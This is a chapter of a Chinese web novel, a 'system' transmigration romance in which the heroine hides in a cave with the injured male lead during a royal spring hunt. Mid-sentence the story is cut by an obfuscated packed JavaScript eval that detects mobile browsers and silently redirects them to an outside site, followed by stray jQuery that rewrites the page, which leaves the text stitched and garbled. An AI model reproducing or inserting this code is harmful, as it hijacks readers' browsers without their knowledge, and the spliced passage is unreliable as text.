今日是春蒐最后一日,晚间还会行宫正殿举办宴会,到那时随行而来说的御厨会将这几日猎得的禽兽烹煮成食物,共庆春蒐的圆满结束。
前夜下了一夜的雨,一连两日天都放晴,暖洋洋的日光落在身上,顿觉神清气爽。
池潆一出门就看见有一男一女朝她而来,她顿住脚步,下意识想要绕远路避开,谁知那女子眼尖得瞧见了她,先一步大喊道:“池姑娘,你醒了呀,感觉怎么样!”
池潆认命地看过去,才发现她是山林中找到自己的五公主萧凝玉,紧绷的神情松懈了些许。和萧凝玉一道来的,是长公主花宴上见过的二皇子。
她缓缓上前,行礼后认真道谢了一番。
萧凝玉无所谓地摆摆手:“你不必谢我,当时你兄长着急找你,我顺手就帮了个忙,没曾想还真被我碰到了,对了,你病好了没?”
池潆老实回答:“好了。”
二皇子一笑,见她要走的模样,问道:“池姑娘这是打算去何处?”
池潆纠结了好一会儿,才模棱两可地道:“随处逛逛。”
“既如此,那我派遣几位侍卫陪同池小姐一同去吧,”二皇子顿了顿,俊朗的脸庞舒展开,看向面前的少女,音色清朗,“池姑娘莫要多想,上回实在凶险,我怕此事再发生,难免又让令堂忧虑。”
池潆受宠若惊,连忙道:“不必不必,我只是随处走走。”
要来一群人跟着她,她还得想方设法地去支开他们,那太麻烦了,想想都觉得痛苦。
她紧张地又补充道:“臣女谢过二皇子好意,真的不必。”
二皇子见她执意如此,也并不强求,只是叮嘱道:“池姑娘莫走远了。”
萧凝玉扒在二皇子的手臂上,也朝她道别道:“池姑娘待会儿见!”
待到那个玲珑身影消失在萧凝玉的视线后,她才回过头来,然后猛然转身,腰上挂饰叮叮当当一阵脆响,她一拍脑袋:“不对,我不是来找她的么,为何要与她道别?”
时隔两日,池潆再次入了山林,今日把守松懈,她没多绕路,轻而易举就混了进去。
她循着上回记忆,轻车熟路找到了男主,他看上去伤得更重了,肩上的伤还未好,用纱布包扎好后又出了血,透过衣料蔓延出来。
这回还添了一处伤,腰腹处流着血,那处地方的衣服也被划破,看那样子,应该是某个野兽伤的。
因失血过多,此刻他脸色惨白,连看她的力气都没有,紧闭着眼睛倒在石头上,睫毛颤抖着,竭力忍着痛楚。
这男主还真是惨惨的,不是在受伤就是在受伤的路上。不过这与她何关系,上回他都直接开口质疑她的关心了,虽然她的关心是有点虚假的成分在,但也不是他质疑的理由。
池潆一身正气地靠近,乌黑透亮的眼眸眨了眨,形似一颗剥开的荔枝,透着莹莹水泽,眼珠子转了转,在想办法怎么开口。
晏元珩张开苍白的嘴唇,池潆见状吓了一下。他没有睁眼,微蹙着眉头,嗓音因剧痛而沙哑,他道:“池小姐又来了?”
他怎么知道是她?
顾不得疑问,池潆想着那笔丰厚的奖金,开始自己做作的表演:“你怎么又受伤了?”
她蹲下身,看身上骇人的伤口,脑中灵光一闪,没忍住将自己的心声说了出来:“这回你伤得这么重,应该不会再赶我走了吧。”
少女音色很软很轻,轻柔地落入耳中,拨开一圈圈涟漪。
池潆忍着尴尬,食指和大拇指在袖间反复摩擦,她赶忙又回到原本的台词上,继续说道:“阿珩,我真的没有坏心,你现在能走动吗?不然……我扶你走。”
面前的人睁开双眼,眼底满是戾气,他道:“池小姐为什么又来?”
池潆挪开了目光,避免和他对视,她绞尽脑汁说道:“呃……大概是关心你吧,就不知不觉走到这里来了。”
这句话剧本里没有,她想破脑袋才想出这么一个回答,或许自己也觉得前后的发言不太搭,顿了顿,又挽救道:“我前两日生病了。”
“哦,”晏元珩闭眼呼吸,只是脸色愈发苍白,呼出的气一口比一口浅,池潆生怕他下一秒就断气了,她这般想着,听他冷声道,“池小姐,上回是我话说重了,你应该不会生气吧?”
这时候知道自己说重了?池潆暗暗心想,这怕是痛得要死了实在没招儿了所以开始忍气吞声求助她了吧。
男主不愧是男主,能屈能伸。
池潆心中这么想过后,觉得晏元珩哪哪都不顺眼,但秉持着良好的职业素养,她口是心非道:“没。”
晏元珩掀起眼皮看她,她此刻就蹲在他身侧,一抬眼就能看见,纤长的睫毛掩盖住她眼底的神色,她今日又穿了一身明亮的橙,腰间也另挂了一只豆绿的香囊,与丝绦同色相衬。
晏元珩道:“那就好,我这等人,实在不值得池小姐放在心上。”
池潆没理会他,她环顾一圈,任务目标是让她与男主一起待在山洞中,附近的确有个狭小的洞,但是晏元珩这个样好似不能自己走过去。
“呜——”
山林深处,一声低吼将池潆的思绪中断,远处不知是什么禽兽发出声响,声音低沉厚实,光是听着就瘆人。
重要的是,距离他们似乎不远。
池潆神色一紧,立刻便察觉到了危险的气息朝她逼近。这会儿才真实地感受到了此处真的是野外,山上的深林的确骇人。
偏偏身旁的人伤重,还装成气定神闲的模样在她耳边说:“池小姐,这兽大约就是伤我的那只。”他抬起手,指了指腹部那道伤口。
池潆顺着他的目光看去,过了这么一会儿,那里的血迹已经干了一些,深褐色的血沾在衣服上,还不断有新的血液冒出来,翻出的血肉和破开的衣料黏在一起,干涸后融为一体。
池潆从现代来,没见过这阵仗,她脸色唰的一下就白了。
晏元珩好像很愉悦,他笑出了声,扶着石头站起身来,一把拽过少女纤细的手臂,三两步就将她带进了那个狭小的山洞中,洞口处有垂下的藤蔓,遮蔽了他们的身形。
做完这一切,他无力地坐在地上,从胸口拿出一瓶金疮药,对准肩上的和腹部的伤口果断倒去,伤口的肌肉被刺激,不断痉挛,看得池潆幻疼。
她默默移开眼睛,又听外面草丛耸动声响,一时胆战
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488780|185757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心惊,于是悄悄多看了一眼晏元珩的伤口。
……那野兽会不会闻到他的血腥味啊?总觉得待在这人身边更加不安全。
晏元珩轻瞥她一眼,没有言语,轻皱着眉头,继续处理伤口。
池潆见他那云淡风轻无波无澜的样子,又看到他面无表情拿出匕首将皮肉与衣料粘连的部分割开,将坏死的肉丢到一旁,跟割猪肉一样干脆利落,好像不是长他身上一样。
“嘶……”池潆倒吸一口凉气。
她这一声在逼仄的洞穴中格外清晰,意识到自己不小心出了声,白皙脸颊顿时飞上了红。
见晏元珩直白地看过来,池潆被迫开口:“你的伤还好吧?”
晏元珩将伤口包扎好,靠在石壁上轻喘着气,淡淡道:“小伤而已。”
池潆看他阖上了眼眸,盯在他的伤口处看了好一会儿,看他娴熟的包扎手法,这或许对于他来说真是小伤,他从小到大定然受了不少的伤。
晏元珩在洞中闭目养神,池潆则睁着一双眼睛,观察外面的情形,一刻也不曾放下心来,凡有一点儿风吹草动便想拔腿就跑。
但是跑路之前又看了一眼脸色煞白的男主,她看不出他是否在睡觉,但她也不能丢下他一人逃跑。
她几次三番想叫他,却犹豫不决没有上前,结果几次下来,也并没有野兽真的来袭击他们。
她猜测或许有点男女主的光环在那里,不可能真有野兽将他们杀死,心里想的是一回事,做出来又是另一回事,她依旧不敢轻易放下戒心。
一通挣扎后,天色也渐渐暗了下来,林中危险更甚,池潆脑中的弦越崩越紧,眼睛在黑暗中一眨不眨。
“恭喜宿主任务完成。”
“池小姐在看什么?”
两道声音同时在耳边响起,池潆先是一愣,系统不提示她都差点忘了任务这茬。随后便反应过来看向睁开眼睛的晏元珩,心中莫名松了一口气。
晏元珩休息了这么一个半时辰后看上去脸色正常许多,他看了一眼外头天色,意味不明地道:“没想到池小姐居然还没有走。”
池潆:“野兽……”
晏元珩笑道:“你是说伤了我的那只?哦,忘了告诉你了,它被我重伤,那声鸣叫应是临死前的哀嚎。”
池潆呆住:“???”
合着他是故意吓唬自己呢!他倒好自己睡下了,留她一人眼睛都不敢眨一下,高度戒备地注意外面的响动,生怕被这野兽抓到。
气死我了气死我了气死我了。
她内心怨气冲天,面上还是好声好气地开口:“怎么没说?”
晏元珩起身,他向她走近,本身就矮的洞穴在他站起后更显空间不足,他弯了弯腰,俯身靠近她,看上去心情极好。
“我以为池小姐会立刻走呢,就没再多嘴惹小姐厌烦,”他歪头,“没想到您竟然真的在乎我这条烂命。”
他常年保有警惕心,即使睡着,也会分一份注意力给到外界,他当然注意到她多次凑近他,悄悄看他,更别提她腰间香囊中的橙花清香还令人难以忽视。
每次那香味都会停在他面前许久,空气都染上了清甜的香气。